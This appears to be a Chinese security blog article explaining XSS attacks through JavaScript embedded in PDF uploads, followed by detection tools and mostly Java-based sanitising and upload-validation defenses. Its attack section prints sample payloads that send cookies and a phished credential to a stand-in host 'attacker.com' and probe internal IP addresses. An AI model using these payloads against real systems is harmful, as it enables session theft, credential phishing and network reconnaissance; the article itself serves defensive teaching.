PDF 文件竟然也能 XSS 攻击?
导读:你以为 XSS 只存在于 HTML?PDF 文件也能执行 JavaScript,也能窃取 Cookie。本文深入讲解 PDF XSS 攻击原理、检测方法和防御方案,含完整代码示例。
“我们系统很安全,文件上传只允许 PDF”
开发说这句话的时候,一脸自信。
一周后,安全团队提交报告:
攻击者上传恶意 PDF 管理员后台预览 Cookie 被窃取 权限被接管
问题出在哪?
PDF 文件也能执行 JavaScript,也能 XSS 攻击。
PDF 是一种复杂的文档格式,支持:
嵌入 JavaScript 表单交互 外部资源加载 事件触发(打开页面、点击等)
这意味着:PDF 可以像 HTML 一样「执行代码」。
02 攻击原理
PDF 中的 JavaScript
PDF 规范支持嵌入 JavaScript,用于表单验证、页面交互等。
示例:
// PDF 打开时弹窗app.alert('Hello from PDF!');攻击向量
1. 窃取 Cookie
var xhr = newXMLHttpRequest();xhr.open('GET', 'http://attacker.com/steal?c=' + document.cookie);xhr.send();2. 钓鱼攻击
var response = app.response("会话已过期,请重新登录:", "身份验证");if (response != null) {var xhr = newXMLHttpRequest(); xhr.open('POST', 'http://attacker.com/phish'); xhr.send(response);}3. 内网探测
var ips = ["192.168.1.1", "192.168.0.1"];for (var i = 0; i < ips.length; i++) {var xhr = newXMLHttpRequest(); xhr.open('GET', 'http://' + ips[i] + ':8080/admin');try { xhr.send(); } catch (e) {}}攻击流程
1. 创建恶意 PDF(嵌入 JavaScript) ↓2. 上传到目标系统(绕过文件检查) ↓3. 受害者预览(浏览器内置阅读器) ↓4. JavaScript 执行(窃取 Cookie/CSRF/钓鱼)关键条件:
PDF 阅读器支持 JavaScript(Adobe Reader 默认支持) 浏览器允许 PDF 中的 JS 执行 受害者有敏感数据可访问
03 检测方法
方法 1:pdf-parser 分析
# 安装pip install pdf-parser# 查找 JavaScript 对象pdf-parser.py --search javascript malicious.pdf# 提取 JavaScript 代码pdf-parser.py --object 5 malicious.pdf方法 2:peepdf 分析
# 安装pip install peepdf# 分析 PDFpeepdf.py -i malicious.pdf# 交互式查看 JS 对象> js_objects> stream_object 5方法 3:在线工具
Hybrid Analysis:https://www.hybrid-analysis.com VirusTotal:https://www.virustotal.com
04 防御方案
4.1 服务端:移除 JavaScript
工具:Ghostscript
gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite \ -sOutputFile=output.pdf input.pdf工具:qpdf
qpdf --linearize input.pdf output.pdf4.2 服务端:Java 清理实现
import com.itextpdf.kernel.pdf.*;publicclassPdfSanitizer {publicstaticvoidremoveJavaScript(String input, String output)throws IOException {PdfReaderreader=newPdfReader(input);PdfWriterwriter=newPdfWriter(output);PdfDocumentpdf=newPdfDocument(reader, writer);// 移除文档级 JavaScriptif (pdf.getCatalog().get(newPdfName("Names")) != null) { pdf.getCatalog().remove(newPdfName("Names")); }// 移除页面级动作for (inti=1; i <= pdf.getNumberOfPages(); i++) {PdfPagepage= pdf.getPage(i);if (page.getPdfObject().get(newPdfName("A")) != null) { page.getPdfObject().remove(newPdfName("A")); } } pdf.close(); }}4.3 服务端:转换为图片
最安全的方案:将 PDF 转为图片,彻底消除执行代码的可能。
import org.apache.pdfbox.pdmodel.PDDocument;import org.apache.pdfbox.rendering.PDFRenderer;import javax.imageio.ImageIO;publicclassPdfToImage {publicstaticvoidconvert(String pdfPath, String imagePath)throws Exception {PDDocumentdocument= PDDocument.load(newFile(pdfPath));PDFRendererrenderer=newPDFRenderer(document);// 渲染为图片BufferedImageimage= renderer.renderImageWithDPI(0, 150); ImageIO.write(image, "PNG", newFile(imagePath)); document.close(); }}优点: 彻底安全
缺点: 失去文本搜索、复制功能
4.4 文件上传验证
错误做法:
// ❌ 只检查扩展名if (filename.endsWith(".pdf")) {// 允许}正确做法:
// ✅ 检查文件头byte[] header = newbyte[4];inputStream.read(header);Stringmagic=newString(header, StandardCharsets.ISO_8859_1);if (!"%PDF".equals(magic)) {thrownewSecurityException("不是 PDF 文件");}// ✅ 检查是否包含 JavaScriptStringcontent=newString(inputStream.readAllBytes(), StandardCharsets.ISO_8859_1);if (content.contains("/JavaScript") || content.contains("/JS")) {thrownewSecurityException("PDF 包含 JavaScript");}4.5 PDFBox 验证
import org.apache.pdfbox.pdmodel.PDDocument;publicbooleanisValidPdf(InputStream inputStream)throws Exception {PDDocumentdocument= PDDocument.load(inputStream);// 检查 JavaScriptif (document.getJavaScript() != null && !document.getJavaScript().isEmpty()) {returnfalse; }// 检查打开动作if (document.getDocumentCatalog().getOpenAction() != null) {returnfalse; } document.close();returntrue;}4.6 完整防御流程(企业级)
@Service@RequiredArgsConstructorpublicclassSecureFileUploadService {/** * 安全上传 PDF */public String uploadPdf(MultipartFile file)throws Exception {// 1. 检查文件头if (!isPdfFile(file.getInputStream())) {thrownewSecurityException("不是 PDF 文件"); }// 2. 病毒扫描(ClamAV)if (!scanForVirus(file.getInputStream())) {thrownewSecurityException("文件包含病毒"); }// 3. 清理 PDF(移除 JavaScript)StringsafePath= sanitizePdf(file.getInputStream());// 4. 再次验证if (!isValidPdf(safePath)) {thrownewSecurityException("PDF 清理失败"); }return"/files/" + Paths.get(safePath).getFileName(); }privatebooleanisPdfFile(InputStream is)throws IOException {byte[] header = newbyte[4]; is.read(header);return"%PDF".equals(newString(header, StandardCharsets.ISO_8859_1)); }private String sanitizePdf(InputStream is)throws Exception {StringtempPath="/tmp/" + UUID.randomUUID() + ".pdf";StringoutputPath="/data/files/" + UUID.randomUUID() + ".pdf"; Files.copy(is, Paths.get(tempPath), StandardCopyOption.REPLACE_EXISTING);// 使用 Ghostscript 清理ProcessBuilderpb=newProcessBuilder("gs", "-dSAFER", "-dBATCH", "-dNOPAUSE","-sDEVICE=pdfwrite","-sOutputFile=" + outputPath, tempPath ); pb.start().waitFor(); Files.deleteIfExists(Paths.get(tempPath));return outputPath; }privatebooleanisValidPdf(String path)throws Exception {try (PDDocumentdoc= PDDocument.load(newFile(path))) {return doc.getJavaScript() == null || doc.getJavaScript().isEmpty(); } }}4.7 客户端防御
Chrome 设置:
chrome://settings/content/pdfDocuments→ 关闭"在 Chrome 中打开 PDF"Firefox 设置:
about:config→ pdfjs.disabled = trueAdobe Reader 设置:
编辑 → 首选项 → JavaScript 取消勾选「启用 Acrobat JavaScript」
05 总结
核心观点:
PDF 也能 XSS:支持 JavaScript,可执行恶意代码 攻击向量多样:Cookie 窃取、钓鱼、内网探测 检测工具丰富:pdf-parser、peepdf、在线工具 防御方案成熟:清理 JS、转图片、严格验证
防御最佳实践:
最后:
安全是持续的过程。
建议: 定期扫描已上传的 PDF 文件,及时清理风险。
工具清单:
pdf-parser:https://github.com/DidierStevens/DidierStevensSuite peepdf:https://eternal-todo.com/tools/peepdf-pdf-analysis-tool qpdf:https://github.com/qpdf/qpdf Ghostscript:https://ghostscript.com Hybrid Analysis:https://www.hybrid-analysis.com
夜雨聆风